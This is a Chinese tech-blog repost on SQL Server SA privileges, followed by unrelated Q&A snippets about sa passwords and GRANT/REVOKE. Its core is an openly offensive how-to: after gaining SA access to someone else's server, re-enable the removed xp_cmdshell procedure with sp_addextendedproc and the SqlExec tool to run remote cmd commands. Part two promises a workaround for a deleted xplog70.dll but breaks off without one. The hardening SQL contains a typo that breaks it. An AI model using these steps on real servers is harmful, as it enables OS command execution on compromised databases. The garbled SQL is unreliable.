欢迎您访问我爱IT技术网,今天小编为你分享的编程技术是:【Microsoft SQL Server数据库SA权限总结】,下面是详细的分享!
Microsoft SQL Server数据库SA权限总结
需要准备的工具:
SQL Query Analyzer和SqlExec Sunx Version
第一部分:
去掉xp_cmdshell保护系统的具体分析:
语句如下:
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
|
以下为引用的内容: if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' |
2.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc 'xp_cmdshell'就可以了。
第二部分:
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示数据库中已存在名为'xp_cmdshell'的对象。
以上所分享的是关于Microsoft SQL Server数据库SA权限总结,下面是编辑为你推荐的有价值的用户互动:
相关问题:为什么SQL数据库不能用SQL Server身份登录 提示用...
答:这个是好东西,收集纪念了! 一.控制面板-》服务-》MS SQL SERVER-》登陆--》本地系统帐户--》重新启动MS SQL SERVER 用windows验证登陆查询分析器--》执行 sp_password null,sa新密码,'sa' 二."无法连接到服务器,用户xxx登陆失败" 该错误产生的... >>详细
相关问题:sqlserver数据库添加删除权限
答:GRANT insert ON t_sys_users TO sa GRANT update ON t_sys_users TO sa GRANT delete ON t_sys_users TO sa REVOKE insert ON t_sys_users TO sa REVOKE delete ON t_sys_users TO sa >>详细
相关问题:在数据库SQL Server 2008中我用SQL Server身份验证...
答:附加失败报什么错误呢?是不是你把sa账户的权限修改了 >>详细
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
